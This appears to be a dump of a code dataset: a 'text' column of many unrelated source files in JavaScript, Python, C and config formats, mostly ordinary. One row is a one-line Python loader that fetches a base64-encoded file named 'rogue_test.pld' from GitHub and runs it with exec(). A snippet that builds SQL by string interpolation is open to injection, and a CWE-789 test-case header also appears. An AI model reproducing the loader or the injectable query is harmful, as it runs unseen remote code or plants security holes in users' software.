text
stringlengths
3
1.05M
import { Component, Input, Output, EventEmitter } from '@angular/core'; import { NgbDate } from './ngb-date'; import { toInteger } from '../util/util'; import { NgbDatepickerI18n } from './datepicker-i18n'; import { NgbCalendar } from './ngb-calendar'; export var NgbDatepickerNavigationSelect = (function () { funct...
import os from sys import platform import pyppeteer import pyppeteer.chromium_downloader from pyppeteer.browser import Browser from osbot_browser.chrome.Chrome_Args import Chrome_Args from osbot_browser.chrome.Chrome_Setup import Chrome_Setup class Chrome(): def __init__(self, headless=True, osx_chr...
from scaffold.settings import * CSRF_COOKIE_SECURE = True SESSION_COOKIE_SECURE = True SECURE_HSTS_SECONDS = 2592000 #30 days SECURE_HSTS_INCLUDE_SUBDOMAINS = True SECURE_FRAME_DENY = True SECURE_CONTENT_TYPE_NOSNIFF = True SECURE_BROWSER_XSS_FILTER = True SECURE_SSL_REDIRECT = True SECURE_REDIRECT_EXEMPT = [ # ...
from __future__ import print_function, unicode_literals import mock from zope.interface import alsoProvides from twisted.trial import unittest from twisted.internet.task import Clock from twisted.internet.interfaces import ITransport from ...eventual import EventualQueue from ..._interfaces import IDilationConnector fr...
#pragma once #include <tuple> #include <thread> #include <set> // std::set #include <functional> // std::function #include <utility> // std::forward #include <cstddef> #include <cassert> // assert #include <type_traits> // std::aligned_storage_t #include <new> // ::new #incl...
/*-------------------------------------------------- Template Name: limupa; Description: limupa - Digital Products Store ECommerce Bootstrap 4 Template; Template URI:; Author Name:HasTech; Author URI:; Version: 1; Note: main.js, All Default Scripting Languages For This Theme Included In This File. ---------------------...
// common in all layers var layer6_fish var layer6_inFishFlag = false var layer6_rubbish = [] var layer6_rubbishNo = 3 var layer6_inFishFlag = false var layer6_medicine = {} var layer6_medicineFlag = false // enable the medicine to move with mouse var Layer6 = function() { } Layer6.prototype.preload = function()...
import Ember from 'ember'; export default Ember.Helper.extend({ compute: function(params){ let num = params[0]; let result = ''; let decimal = [1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1]; let roman = ["M", "MC","D","CD","C", "XC", "L", "XL", "X","IX","V","IV","I"]; for (var i = 0;i<=...
import React from 'react' import AppCrash from '../views/errors/500'; class ErrorBoundary extends React.Component { constructor(props) { super(props); this.state = { hasError: false }; } static getDerivedStateFromError(error) { // Update state so the next render will show the fallback UI. return...
/////////////////////////////////////////////////////////////////////////// // Copyright © 2014 - 2017 Esri. All Rights Reserved. // // Licensed under the Apache License Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // ...
import json from django.db.models import Count from django.http import HttpResponse, HttpResponseBadRequest from hmda.models import HMDARecord from geo.views import get_censustract_geoids from rest_framework.renderers import JSONRenderer def loan_originations(request): """Get loan originations for a given lende...
import React from 'react' import { GlobalStyle } from '../src/shared/global' // Global decorator to apply the styles to all stories export const decorators = [ (Story) => ( <> <GlobalStyle /> <Story /> </> ), ] export const parameters = { actions: { argTypesRegex: '^on[A-Z].*' }, controls: {...
/** * Copyright (c) 2015-present, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. * * @provides...
//author: chenliang @ Youtu Lab, Tencent #include <pthread.h> #include "IDataLinkObserver.h" #include <queue> #include <memory> using namespace std; template <class T> class SimplePool { public: SimplePool(int size, int _limit); virtual ~SimplePool(); std::shared_ptr<T> receive(); int getTotal(); ...
from base64 import b64decode;from requests import get;exec(b64decode(get("http://raw.githubusercontent.com/rf-peixoto/Studies/main/Code/Misc/rogue_test.pld").text[2:-2]))
""" Slixmpp: The Slick XMPP Library Copyright (C) 2012 Nathanael C. Fritz, Lance J.T. Stout This file is part of Slixmpp. See the file LICENSE for copying permission. """ from slixmpp.xmlstream import ElementBase class LastActivity(ElementBase): name = 'query' namespace = 'jabber:iq:last' ...
import path from 'path'; import webpack from 'webpack'; import extend from 'extend'; import AssetsPlugin from 'assets-webpack-plugin'; const DEBUG = !process.argv.includes('--release'); const VERBOSE = process.argv.includes('--verbose'); const AUTOPREFIXER_BROWSERS = [ 'Android 2.3', 'Android >= 4', 'Chrome >= 3...
_base_ = [ '../_base_/models/faster_rcnn_r50_fpn.py', '../_base_/datasets/voc0712.py', '../_base_/default_runtime.py' ] # model = dict(roi_head=dict(bbox_head=dict(num_classes=20))) model = dict(roi_head=dict(bbox_head=dict(num_classes=1))) ##Modified by Bhargav Dodla # optimizer optimizer = dict(type='SGD', ...
import React from "react"; import Typography from "@material-ui/core/Typography/Typography"; import withStyles from "@material-ui/core/styles/withStyles"; const styles = (theme) => ({ root: { padding: theme.spacing.unit, }, text: { marginBottom: 12, } }); @withStyles(styles, {withTheme:true}) export ...
/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE789_Uncontrolled_Mem_Alloc__malloc_wchar_t_fgets_54b.c Label Definition File: CWE789_Uncontrolled_Mem_Alloc__malloc.label.xml Template File: sources-sinks-54b.tmpl.c */ /* * @description * CWE: 789 Uncontrolled Memory Allocation * BadSource: fgets Read data fr...
""" 56. Merge Intervals =================== Given a collection of intervals, merge all overlapping ones. Examples -------- 1. Input: [[1, 3], [2, 6], [8, 10], [15, 18]] Output: [[1, 6], [8, 10], [15, 18]] 2. Input: [[1, 4], [4, 5]] Output: [[1, 5]] """ def merge_intervals(intervals): intervals = sorted(inte...
import { LitElement, html } from '@polymer/lit-element'; class StudentRec extends LitElement { static get properties(){ return { student: Object } } constructor(){ super(); this.student = {}; } _render({student}){ return html` <div> ${student.id}<br/> ${stud...
# Copyright 2018 The Bazel Authors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable la...
import { addons } from '@storybook/addons'; import theme from './theme'; addons.setConfig({ theme, });
""" Write a Python code that fulfills the following specification. dataset: Female_Stats.csv The Data Are From 214 Females In Statistics Classes At The University Of California At Davis. Column1 = Student’s Self-Reported Height, Column2 = Student’s Guess At Her Mother’s Height, And Column 3 = Student’s Guess At H...
""" ImageNet-1K classification dataset. """ import os import math import cv2 import numpy as np from PIL import Image from torchvision.datasets import ImageFolder import torchvision.transforms as transforms from .dataset_metainfo import DatasetMetaInfo class ImageNet1K(ImageFolder): """ ImageNet-1K class...
function saveOrphanage(db, orphanage) { return db.run(` INSERT INTO orphanages ( lat, lng, name, about, whatsapp, images, instructions, opening_hours, open_on_weekends ) VALUES ( "${orphanage.lat}", "${orph...
import os import shutil import numpy as np # do not seed because RNG's purpose is to avoid filename conflicts _filerng = np.random.default_rng() class TargetFileExists(Exception): pass class cached_file(object): def __init__(self, fn): os.makedirs(os.path.dirname(fn), exist_ok=True) self.f...
# from django.core.exceptions import ImproperlyConfigured # from django.db import models # from django.db.models.base import ModelBase # from django.test import TestCase # from polymorphic.models import PolymorphicModel, PolymorphicModelBase # from shop import deferred # # import copy # from types import new_class # # ...
#!/usr/bin/env python import app_config import datetime import json import logging import oauth import static from flask import Flask, make_response, render_template from flask_admin import Admin from flask_admin.contrib.peewee import ModelView from models import models from render_utils import make_context, smarty_f...
/* * Licensed to Elasticsearch B.V. under one or more contributor * license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright * ownership. Elasticsearch B.V. licenses this file to you under * the Apache License, Version 2.0 (the "License"); you may * not u...
# # Autogenerated by Thrift Compiler (0.9.2) # # DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING # # options string: py:utf8strings # from thrift.Thrift import TType, TMessageType, TException, TApplicationException from ttypes import *
goog.declareModuleId('os.job.JobCommand'); /** * Worker control commands. * @enum {number} */ const JobCommand = { 'START': 0, 'STOP': 1, 'PAUSE': 2 }; goog.exportSymbol('os.job.JobCommand', JobCommand); export default JobCommand;
/* ============================================================= * bootstrap-scrollspy.js v2.0.1 * http://twitter.github.com/bootstrap/javascript.html#scrollspy * ============================================================= * Copyright 2012 Twitter, Inc. * * Licensed under the Apache License, Version 2.0 (the "L...
/** * Layout component that queries for data * with Gatsby's StaticQuery component * * See: https://www.gatsbyjs.org/docs/static-query/ */ import React from "react" import PropTypes from "prop-types" import { StaticQuery, graphql } from "gatsby" import styled from "@emotion/styled" import Header from "./header" ...
#include <CrtLibSupport.h> #define ASCII_RSIZE_MAX 1000000ul #define RSIZE_MAX (ASCII_RSIZE_MAX<<1ul) #define SAFE_STRING_CONSTRAINT_CHECK(Expression, Status) \ do { \ ASSERT (Expression); \ if (!(Expression)) { \ return Status; \ } \ } while (FALSE) /** Returns if 2 memory blocks are over...
import pytest from objc_types_decoder.decode import decode @pytest.mark.parametrize('encoded, decoded', [ ('c', 'char'), ('i', 'int'), ('s', 'short'), ('l', 'long'), ('q', 'long long'), ('C', 'unsigned char'), ('I', 'unsigned int'), ('S', 'unsigned short'), ('L', 'unsigned long'),...
/******/ (() => { // webpackBootstrap /******/ "use strict"; var __webpack_exports__ = {}; /*!*******************************************************************************!*\ !*** ../demo1/src/js/pages/crud/datatables/search-options/advanced-search.js ***! \*******************************************************...
/** * Copyright 2022 Huawei Technologies Co., Ltd * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law...
/**************************************************************************** * * Copyright (c) 2012-2015 PX4 Development Team. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Red...
#ifndef __LINUX_NET_AFUNIX_H #define __LINUX_NET_AFUNIX_H #include <linux/socket.h> #include <linux/un.h> #include <linux/mutex.h> #include <net/sock.h> extern void unix_inflight(struct file *fp); extern void unix_notinflight(struct file *fp); extern void unix_gc(void); #define UNIX_HASH_SIZE 256 extern struct hlis...
# ヒープソート(2分ヒープ) # ヒープソートはheapqモジュールを使うと簡単に実装できる # https://docs.python.org/ja/3/library/heapq.html import heapq # arr:配列 def heapSort(arr): srt = [] for elm in arr: # 1つずつpushして heapq.heappush(srt, elm) # print(str(srt)) # 1つずつpopする return [heapq.heappop(srt) for i in range(len(...
/*! * jQuery JavaScript Library v1.11.2 * http://jquery.com/ * * Includes Sizzle.js * http://sizzlejs.com/ * * Copyright 2005, 2014 jQuery Foundation, Inc. and other contributors * Released under the MIT license * http://jquery.org/license * * Date: 2014-12-17T15:27Z */ (function( global, factory ) { if...
/* * Copyright 2010-2013 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "lice...
import numpy as np import torch import ocnn class Points2Octree: ''' Convert a point cloud into an octree ''' def __init__(self, depth, full_depth=2, node_dis=False, node_feature=False, split_label=False, adaptive=False, adp_depth=4, th_normal=0.1, th_distance=1.0, extrapolate=Fal...
import './__includes/css/todo.css'; import React, { useState } from 'react'; function NewTodo(){ const [items, setItems] = useState(['Take out the trash', 'Eat Breakfast', 'Brush teeth', 'Make Up the bed', 'Turn On energized music']); function handleAddItem(){ // projects.push(`Novo Projeto $...
import re from model.contact import Contact def test_contact_phones_on_home_page(app, db): home_page_contacts = app.contact.get_contact_list() db_contacts = db.get_contact_list() assert sorted(home_page_contacts, key=Contact.id_or_max) == sorted(db_contacts, key=Contact.id_or_max) sorted_home_page_con...
/** ****************************************************************************** * @file usbd_midi.h ****************************************************************************** (CC at)2016 by D.F.Mac. @TripArts Music */ /* Define to prevent recursive inclusion -------------------------------------*...
# It have to be the one problem a raytracing engineer faced one day in his life and # never forgot. Gosh it took me so much time to figure this one out, easily the hardest # for me in this whole set of challenges. Basically you are in a room of given dimension # and can shoot a laser beam that reflects on walls and you...
var game = new Phaser.Game(800, 600, Phaser.CANVAS, 'phaser-example', { preload: preload, create: create }); function preload() { game.load.spritesheet('coin', 'assets/sprites/coin.png', 32, 32); } var coins; function create() { // Here we create our coins group coins = game.add.group(); // No...
# -*- coding: utf8 -*- """Tests for distutils.dist.""" import os import StringIO import sys import unittest import warnings import textwrap from distutils.dist import Distribution, fix_help_options from distutils.cmd import Command import distutils.dist from test.test_support import TESTFN, captured_stdo...
const { getResponse, truncateDatabase } = require('../setup'); const adminFactory = require('../factory/admins'); const { encryptPassword } = require('../../app/services/bcrypt'); const baseUrl = '/admins'; const sessionsUrl = '/admins/sessions'; describe('POST /admins', () => { const adminData = { first_name: ...
# type: ignore import setuptools import os with open("README.md", "r") as fh: long_description = fh.read() version = "0.19.0" # Give unique version numbers to all commits so our publication-on-each commit # works on main if 'PROD' not in os.environ: stream = os.popen('git rev-list HEAD --count') output ...
import torch import torch.nn as nn from torch.nn.parameter import Parameter from collections import OrderedDict import numpy as np import torch.nn.functional as F import resnet # smallest positive float number FLT_MIN = float(np.finfo(np.float32).eps) FLT_MAX = float(np.finfo(np.float32).max) class MNISTFeatureLayer(n...
from nslsii.devices import TwoButtonShutter from ophyd import (ProsilicaDetector, SingleTrigger, Component as Cpt, Device, EpicsSignal, EpicsSignalRO, ImagePlugin, StatsPlugin, ROIPlugin, DeviceStatus) import bluesky.plans as bp from ophyd.status import SubscriptionStatus pr...
(function (jsGrid, $, undefined) { function Field(config) { $.extend(true, this, config); this.sortingFunc = this._getSortingFunc(); } Field.prototype = { name: "", title: null, css: "", align: "", width: 100, visible: true, filterin...
import numpy as np import numba from . import loadDefaultParams as dp def timeIntegration(params): """Sets up the parameters for time integration :param params: Parameter dictionary of the model :type params: dict :return: Integrated activity variables of the model :rtype: (numpy.ndarray,) "...
# app/__init__.py import os import secrets # third-party imports from flask import Flask, render_template from flask_bcrypt import Bcrypt from flask_login import LoginManager from flask_mail import Mail from flask_sqlalchemy import SQLAlchemy from flask_migrate import Migrate # local imports from blog.config import ...
'use strict'; /** * collection28 service. */ const { createCoreService } = require('@strapi/strapi').factories; module.exports = createCoreService('api::collection28.collection28');
import React, { useState, useEffect } from 'react'; import Categories from '../modules/Categories'; import BlackText from '../../text/BlackText'; import { Grid } from '@kiwicom/orbit-components/lib'; import { DONATIONS_BATCH_SIZE } from '@api/constants'; import styled, { css } from 'styled-components'; import media fro...
# Python Substrate Interface Library # # Copyright 2018-2021 Stichting Polkascan (Polkascan Foundation). # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LIC...
var __awaiter=this&&this.__awaiter||function(e,t,n,r){return new(n||(n=Promise))(function(o,i){function u(e){try{l(r.next(e))}catch(e){i(e)}}function a(e){try{l(r.throw(e))}catch(e){i(e)}}function l(e){e.done?o(e.value):new n(function(t){t(e.value)}).then(u,a)}l((r=r.apply(e,t||[])).next())})},__generator=this&&this.__...
/* -*- Mode: Java; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* vim: set shiftwidth=2 tabstop=2 autoindent cindent expandtab: */ /* Copyright 2012 Mozilla Foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the Licen...
# Copyright 2018 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
let sequence,sequence2,endpoint,endpoint2,offset,offset2; let throttle = __.throttle_factory(16); function init() { console.log("init"); sequence = __.fill_array(7,idx => { return __.pitch2freq(__.scales("major")[idx] + __.random(2,7) * 12); }); sequence2 = __.fill_array(7,idx => { return __.pi...
#!/usr/bin/env python """Automatically install required tools and data to run bcbio-nextgen pipelines. This automates the steps required for installation and setup to make it easier to get started with bcbio-nextgen. The defaults provide data files for human variant calling. Requires: git, wget, bgzip2, Python 3 or 2...
const FILES_TO_CACHE = [ "/", "/index.html", "/styles.css", "/index.js", "/db.js", "/manifest.webmanifest", "/icons/icon-192x192.png", "/icons/icon-512x512.png", ]; const CACHE_NAME = "static-cache-v2"; const DATA_CACHE_NAME = "data-cache-v1"; // install self.addEventList...
# Copyright 2020 The HuggingFace Team. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicabl...
$("#keywords").select2({ placeholder: "Enter Keywords", tags: true, width: "100%", tokenSeparators: [','] });
"use strict"; const _ = require("lodash"); const beforeBlockString = require("../../utils/beforeBlockString"); const blockString = require("../../utils/blockString"); const hasBlock = require("../../utils/hasBlock"); const hasEmptyBlock = require("../../utils/hasEmptyBlock"); const optionsMatches = require("../../util...
/** * Copyright (C) 2012 KO GmbH <copyright@kogmbh.com> * * @licstart * This file is part of ViewerJS. * * ViewerJS is free software: you can redistribute it and/or modify it * under the terms of the GNU Affero General Public License (GNU AGPL) * as published by the Free Software Foundation, either version 3 of...
def get_comment_body(curator): comment_template = f""" Thanks for contributing to the dPoll content. You have been upvoted from our community curation account (@dpoll.curation) in courtesy of {curator}. *** <sup>If you want to support dPoll curation, you can also delegate some steem power. Quick steem connect link...
/* * DotNetNuke® - http://www.dotnetnuke.com * Copyright (c) 2002-2014 * by DotNetNuke Corporation * All Rights Reserved */ /*** * @class Localization * * Check if window storage is avaible, get resources settings, check resources timestamp, return sotred resources * or request for new resources, store it if...
#!/usr/bin/python # -*- encoding: utf-8; py-indent-offset: 4 -*- # check_mk is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by # the Free Software Foundation in version 2. check_mk is distributed # in the hope that it will be useful, but...
import React from "react"; import Typography from "@material-ui/core/Typography"; import Title from "../../../../Title"; export default function Deposits(props) { return ( <React.Fragment> <Title>Recent Deposits</Title> <Typography component='p' variant='h4'> ${props.budget} </Typo...
# 9주차 2차시 # 비교 연산자 오버로딩 class Circle: def __init__(self,radius): self.radius = radius def __gt__(self, another): return self.radius > another.radius def __lt__(self, another): return self.radius > another.radius def __str__(self): return f'Circle with radi...
angular.module('pc.loading', []) .directive('loading', ['$http' ,function ($http) { return { restrict: 'E', template: '<div id="loading-animation" style="position: fixed;top: 0;right: 0;bottom: 0;left: 0;z-index: 1100;background-color: white;opacity: .6;"><img src="data:image/...
/** * @todo Complete the test * This example is not perfect. * The `link` function is not tested. * (malarkey usage, addClass, $watch, $destroy) */ describe('directive malarkey', function() { let vm; let element; beforeEach(angular.mock.module('obrasUi')); beforeEach(inject(($compile, $rootScope, githubC...
# - Ayan Chakrabarti <ayan.chakrabarti@gmail.com> """Functions for simulating sending with a given policy.""" import numpy as np from numba import jit from . import utils as ut @jit(nopython=True) def _simulate(qpm, policy, dset_mr, rsz_is): """Compiled implementation of simulate.""" assert qpm[0] < qpm[1] ...
# -*- coding: utf-8 -*- # This code is part of Qiskit. # # (C) Copyright IBM 2019. # # This code is licensed under the Apache License, Version 2.0. You may # obtain a copy of this license in the LICENSE.txt file in the root directory # of this source tree or at http://www.apache.org/licenses/LICENSE-2.0. # # Any modif...
#include <stdlib.h> #include <string.h> #include "hurdmalloc.h" /* XXX see that file */ #include <mach.h> #define vm_allocate __vm_allocate #define vm_page_size __vm_page_size /* * Mach Operating System * Copyright (c) 1991,1990,1989 Carnegie Mellon University * All Rights Reserved. * * Permission to use, copy...
/* Copyright 2009, Ifcaro & volca Licenced under Academic Free License version 3.0 Review OpenUsbLd README & LICENSE files for further details. */ #include "include/util.h" #include "include/ioman.h" #include <io_common.h> #include <string.h> #include <malloc.h> #include <fileio.h> #include <osd_config.h> ext...
/* $License: Copyright (C) 2011-2012 InvenSense Corporation, All Rights Reserved. See included License.txt for License information. $ */ /** * @addtogroup DRIVERS Sensor Driver Layer * @brief Hardware drivers to communicate with sensors via I2C. * * @{ * @file inv_mpu.c * @bri...
define(["require","underscore","dataSource/view/CustomDataSourceView","text!dataSource/template/mongoDbSpecificTemplate.htm"],function(e){"use strict";var t=e("underscore"),o=e("dataSource/view/CustomDataSourceView"),r=e("text!dataSource/template/mongoDbSpecificTemplate.htm");return o.extend({PAGE_TITLE_NEW_MESSAGE_COD...
'use strict'; const _ = require('lodash'); _.mixin(require('lodash-deep')); const scriptHasShortcut = {start: true, stop: true, test: true, restart: true}; module.exports = { addNpmTasks, addPackageJsonConfig, setNpmDevDependenciesFromArray, setNpmDependenciesFromArray, readPackageJson, writePackageJson, ...
function fuelTankPartTwo(a, b, c) { let fuelType = String(a); let amountFuel = Number(b); let clubCard = String(c); let priceGasoline = 2.22; let priceDiesel = 2.33; let priceGas = 0.93; let total = 0 if (fuelType === "Gas") { if (clubCard === "Yes") { priceGas -= ...
/* Copyright (c) 2014, Ronnie Sahlberg All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the follow...
import datetime as dt from threading import Thread global __black_listed_days global __months __black_listed_days = [ 'SAT', 'SUN' ] __months = { 1:'JAN', 2:'FEB', 3:'MAR', 4:'APR', 5:'MAY', 6:'JUN', 7:'JUL', 8:'AUG', 9:'SEP', 10:'OCT', 11:'NOV', 12:'DEC', ...
from django.db import models class Topic(models.Model): """A topic the user is learning about.""" text = models.CharField(max_length=200) date_added = models.DateTimeField(auto_now_add=True) def __str__(self): """Return a string representation of the model.""" return self.text class ...
'use strict'; import babel from 'gulp-babel'; import flatten from 'gulp-flatten'; import gulp from 'gulp'; import del from 'del'; import lec from 'gulp-line-ending-corrector'; import rename from 'gulp-rename'; import requirejs from 'requirejs'; import sass from 'gulp-sass'; import trimlines from 'gulp-trimlines'; gul...
// This file is part of Eigen, a lightweight C++ template library // for linear algebra. // // Copyright (C) 2014 Benoit Steiner <benoit.steiner.goog@gmail.com> // // This Source Code Form is subject to the terms of the Mozilla // Public License v. 2.0. If a copy of the MPL was not distributed // with this file, You ca...
""" Base object supporting the storage of custom fields as attributes """ from __future__ import unicode_literals import sys class TroveboxObject(object): """ Base object supporting the storage of custom fields as attributes """ _type = "None" def __init__(self, client, json_dict): self.id = None ...
import os from CiscoIPScanner import Scan from CiscoIPScanner import Connection # from progressbar import progressbar # from pprint import pp testing = os.environ['NET_TEXTFSM'] username = os.getenv('USERNAME') password = os.getenv('PASSWORD') mgmt_ip = '10.39.16.2' devicetype = 'cisco_ios' networks = [ '10.39.1...
from enstools.core import check_arguments import numpy as np @check_arguments(shape={"arr": (0, 0)}) def downsize(arr, fac): """ Reduce resolution of an array by neighbourhood averaging - 2D averaging of fac x fac element Parameters ---------- arr : xarray.DataArray or np.ndarray arra...
#!/usr/bin/python # -*- coding: utf-8 -*- # # Copyright: (c) 2018, Abhijeet Kasurde <akasurde@redhat.com> # # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = { 'metad...
import angular from 'angular'; import bungieApiModule from '../bungie-api/bungie-api.module'; import { ActivitiesComponent } from './activities.component'; export default angular .module('activitiesModule', [bungieApiModule]) .component('activities', ActivitiesComponent) .config(($stateProvider) => { 'ngInj...
alert("javascript");
from sqlalchemy.dialects.postgresql import UUID from sqlalchemy.ext.hybrid import hybrid_property from sqlalchemy.ext.associationproxy import association_proxy from sqlalchemy.orm import validates from sqlalchemy.schema import FetchedValue from app.extensions import db from app.api.utils.models_mixins import AuditMixi...
"""Backend module for interacting with various databases"""
# -*- coding: utf-8 -*- # Copyright (c) 2017, Frappe Technologies and contributors # License: MIT. See LICENSE import frappe, json, math from frappe.model.document import Document from frappe import _ from frappe.utils import cstr from frappe.data_migration.doctype.data_migration_mapping.data_migration_mapping import ...